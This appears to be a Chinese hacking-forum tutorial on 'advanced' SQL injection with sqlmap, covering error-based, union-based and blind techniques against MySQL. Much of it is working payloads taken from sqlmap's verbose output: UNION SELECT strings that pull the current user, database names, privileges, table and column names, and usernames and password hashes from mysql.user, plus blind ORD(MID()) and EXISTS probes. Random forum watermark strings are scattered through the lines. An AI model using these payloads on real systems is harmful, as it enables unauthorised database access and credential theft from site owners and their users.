sqlmap高级注入

admin

放假第一天，本应该好好放松一下，可是还是想着把文章写完先。。。
7 e$ d; x: X' H& d2 j
这次的主题是高级注入，坛子里也讲到了一些，不过本文旨在给大家一个更深刻的概念和全面的理解，下面看看我自己列的一个表
% P  X" o# x4 R& X2 q% j! z
分类标准        分类        备注
$ M; T" M( a8 X8 @+ }按字段类型        整型注入，字符型注入       
5 i5 G( i% u: {: `. D/ v2 l+ }; c按出现的位置        get注入，post注入，cookie注入，http header注入       
/ c; G3 n! R7 y! G然而高级注入是这样的
9 u( S4 ?9 Z' p) k. L$ }
高级注入分类        条件
' y  C9 S9 P8 `9 c. P0 ?error-based sql        数据库的错误回显可以返回，存在数据库，表结构
, a* i3 A! |; ^8 n! q5 w& P& |3 runion-based sql        能够使用union，存在数据库，表结构
blind sql        存在注入
$ X& N" `7 i/ r) R我们暂且不考虑waf等的影响，只从原理上学习。通过上面我们不难发现，三种高级注入选择的顺序应该是eub（第一个字母，后面为了方便我都这样表示了 ），实际上，e是不需要知道字段数的，u需要知道字段数，e之所以在前我觉得主要是因为这个，因为在其他方面它们没有本质的区别，它们都需要知道数据库以及表的结构，这样才能构造出相应的语句，当然，能e一般能u（没过滤union等），反过来却很不一定，因为一般会有自定义的错误提醒。如果没有结构，那么就回到了最悲剧，最麻烦的b了，猜。。。当然可能没有结果，但是如果只是不能使用u，有结构，b还是能出结果的，只是苦逼点而已。。。

- k! s4 ~+ v$ N9 I/ Z  F好了，说了这么多，该上神器sqlmap了，最近坛子里貌似很火

) [: z  V( h7 ~$ M# x9 \. c附件分别以mysql和mssql为例子，提醒：sqlmap中使用-v 3可以查看每个请求的payload。
+ q7 C; f9 c* s$ B( h
这里用mysql说明
9 O5 L2 H& {) B" X% M
& Z! M  t& `$ N, He注入坛子里很多了，请看戳我或者再戳我
3 W3 g: u( K# _% D0 z2 x' j
u注入其实也很多了，这里就大概帖上一些重要语句吧，附件上结合例子都有的

获取当前数据库用户名
% \3 J& m" \' l* b/ _8 D- S$ H! ?
: I- [/ D) u1 o& T. aUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C
AST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL
L, NULL#
! L7 c. S' S. V: p注意concat那里不是必须的，只是sqlmap为了自动攫取出数据加上的特征，下面语句类似，涉及基础性的知识，基友们自己去补吧。
, S) g; q0 F' A4 d9 K5 Z% A4 t8 f
% q4 Z, C1 @& D获取数据库名
; R: D( ?3 q  i5 _; D& E
5 l9 b7 ^* }- EUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
获取所有用户名
2 G/ x- V& J4 C+ Y; B
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
查看当前用户权限
# ~6 s2 s5 \& x
, Q* n" ?$ }4 lUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
0 F/ L8 U: b$ I尝试获取密码，当然需要有能读mysql数据库的权限

/ G$ g/ m* P. `2 ?% zUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#
7 X: i/ I+ v6 G3 C) M获取表名，limit什么的自己搞啦

) ?6 C' }" l- ?1 ZUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#
获取字段名及其类型
/ x5 \2 ^" t5 M0 _/ F5 l( p& `UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#

b注入，呵呵，除了当前用户，数据库，版本可以出来，而如果不能u，但存在数据的结构表，还是能苦逼出来，否则猜也不一定能猜到表和字段，内容自然也出不来，苦逼access啊。。。

如：
! E2 L  F& I8 f, ]  G4 d" x! e获取当前用户名

AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116
获取当前数据库
7 F; U8 y1 y$ z, ?
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106
+ a  q! T* {, {# H! T3 Q获取表名

: L0 ^  k( y" ~AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51
* t8 i3 p( T# {9 [获取字段名及其类型和爆内容就不说了，改改上面的就可以了。
* P. b& q3 B8 M3 |; T+ g回到最苦逼的情况，无结构的，mysql版本<5.0，现在不多见了吧，还是看看语句。
爆表

AND EXISTS(select * from table)
* ~% B- z' K% c2 r爆字段
  c* d+ F0 w/ i% A
AND EXISTS(select pwd from table)
2 N' `  k, W3 v0 P5 ]+ y4 v盲注的变化就比较多了，由于篇幅，只是举个例子而已。

0 s; ^4 i# L+ D5 ]本来想把mssql和access都写上的，不过编辑得太累了，有时间再写吧，其实原理都差不多，今天就洗洗睡了吧。
- [( N8 o" y+ Y1 t3 |. h